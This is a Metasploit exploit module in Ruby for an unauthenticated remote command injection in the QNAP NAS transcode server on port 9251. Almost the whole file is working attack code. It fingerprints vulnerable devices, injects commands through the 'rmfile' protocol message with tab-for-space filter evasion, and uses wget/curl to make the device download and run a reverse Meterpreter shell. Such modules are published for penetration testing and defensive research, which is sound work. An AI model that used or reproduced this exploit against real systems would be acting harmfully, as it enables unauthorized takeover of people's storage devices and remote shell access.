## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, 'Name' => 'QNAP Transcode Server Command Execution', 'Description' => %q{ This module exploits an unauthenticated remote command injection vulnerability in QNAP NAS devices. The transcoding server listens on port 9251 by default and is vulnerable to command injection using the 'rmfile' command. This module was tested successfully on a QNAP TS-431 with firmware version 4.3.3.0262 (20170727). }, 'Author' => [ 'Zenofex', # Initial vulnerability discovery and PoC '0x00string', # Initial vulnerability discovery and PoC 'Brendan Coles ' # Metasploit ], 'License' => MSF_LICENSE, 'Platform' => 'linux', 'References' => [ [ 'URL', 'https://www.exploitee.rs/index.php/QNAP_TS-131' ], [ 'URL', 'http://docs.qnap.com/nas/4.1/Home/en/index.html?transcode_management.htm' ] ], 'DisclosureDate' => 'Aug 6 2017', 'Privileged' => true, 'Arch' => ARCH_ARMLE, 'DefaultOptions' => { 'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp' }, 'Targets' => [['Automatic', {}]], 'CmdStagerFlavor' => %w{wget curl}, 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(9251), OptInt.new('DELAY', [true, 'How long to wait for the device to download the payload', 30]) ]) deregister_options 'cmdstager::decoder' end def check vprint_status 'Connecting to transcode server...' connect sock.put "\x01\x00\x00\x00" res = sock.get_once if res.blank? vprint_status 'No reply from server' return CheckCode::Safe end vprint_status "Received response: #{res}" return CheckCode::Detected if res.to_s =~ /client's request is accepted/ CheckCode::Safe rescue ::Rex::ConnectionError vprint_error 'Connection failed' return CheckCode::Unknown ensure disconnect end def execute_command(cmd, opts) # Filtered characters: 0x20 ! $ & 0x39 , ; = [ ] ^ ` { } % # Execute each command seperately cmd.split(';').each do |c| connect vprint_status "Executing command: #{c}" # Replace spaces with tabs c.tr! ' ', "\t" sock.put "\x01\x00\x00\x00/|#{c}|\x00" res = sock.get_once unless res.to_s =~ /client's request is accepted/ print_status 'Unexpected reply' break end print_status "Sent command successfully (#{c.length} bytes)" disconnect if c =~ /^(curl|wget)/ print_status "Waiting for the device to download the payload (#{datastore['DELAY']} seconds)..." Rex.sleep datastore['DELAY'] end end rescue ::Rex::ConnectionError fail_with Failure::Unreachable, 'Failed to connect to the transcode server' ensure disconnect end def exploit vprint_status 'Connecting to transcode server...' execute_cmdstager linemax: 400 end end